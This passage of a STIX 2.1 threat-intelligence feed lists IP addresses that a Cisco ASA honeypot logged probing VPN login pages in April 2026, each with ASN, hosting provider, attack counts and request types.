      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2fc08c54-5c30-4b19-ba10-2e041cfeedc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.246.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 17,
          "first_seen": "2026-04-13T05:00:56.558Z",
          "last_seen": "2026-04-13T14:30:35.351Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--fcacb21d-6243-42cb-b2f2-52ff299326d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.233.100.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T04:32:56.213Z",
          "last_seen": "2026-04-13T12:43:24.075Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--54095231-c7e2-41fa-902a-e3720503cd9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.49.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T04:21:19.355Z",
          "last_seen": "2026-04-13T14:19:06.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9a147899-486b-4575-9e1c-4197ff7a0b60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.48.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T04:45:40.484Z",
          "last_seen": "2026-04-13T09:26:40.788Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1ccd615d-92b3-4ecb-8082-733394f33867",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.50.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T05:14:16.933Z",
          "last_seen": "2026-04-13T07:25:30.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--a550d393-c47c-479d-a101-3c0e8131a2e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.214.97.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-13T04:35:08.498Z",
          "last_seen": "2026-04-13T04:35:08.498Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--2dbbfe9a-9352-4195-a99e-d6a51ef6a661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.214.97.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-13T04:30:34.078Z",
          "last_seen": "2026-04-13T04:30:34.078Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--17022c19-b863-450d-ba1e-049a87427e60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.128.43.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 45,
          "first_seen": "2026-04-13T05:05:52.461Z",
          "last_seen": "2026-04-15T07:06:22.063Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--cccf9abb-b877-4538-927f-bdb94fbdbd93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.106.198.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-13T04:30:40.202Z",
          "last_seen": "2026-04-13T04:30:40.202Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--66ef7cab-057d-4f69-8464-b5021b905e5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.147.247.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T04:55:28.945Z",
          "last_seen": "2026-04-15T06:29:56.869Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7aa0dd94-e98d-4b16-a085-4ccc7616061c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.149.80.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 25,
          "first_seen": "2026-04-13T04:27:42.402Z",
          "last_seen": "2026-04-15T06:47:49.655Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--bfcbfb46-c1c0-4715-acbf-3113c10bcb08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.39.244.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T05:09:10.067Z",
          "last_seen": "2026-04-13T05:09:23.543Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--728499ce-b803-41b0-9b95-c3e476ce1aaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.112.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-13T05:58:22.047Z",
          "last_seen": "2026-04-14T02:08:51.434Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--cd6a19ba-8ec6-4cc1-8f03-44b3a94132ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.59.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T05:40:47.422Z",
          "last_seen": "2026-04-13T06:44:58.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--8b8a88cb-a099-4381-97be-6f659abccfca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.91.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T06:17:17.050Z",
          "last_seen": "2026-04-13T12:33:40.018Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--27704f1e-152c-4cda-b1ab-b67a4f6ad9fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.161.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T05:24:03.674Z",
          "last_seen": "2026-04-13T16:09:01.996Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f631cd29-d144-405d-897e-f66b97fc722f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.207.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T05:59:41.065Z",
          "last_seen": "2026-04-13T12:18:24.023Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--bb6c0097-dfc3-4fbc-8e55-9fe8cb284b0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.209.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T06:10:39.410Z",
          "last_seen": "2026-04-15T02:25:30.826Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--31ac2646-d624-4acb-a999-b0bcb98d4256",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.234.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T05:42:12.800Z",
          "last_seen": "2026-04-13T14:06:48.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6f265bb7-12f6-4455-9b62-59848031fb61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.42.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
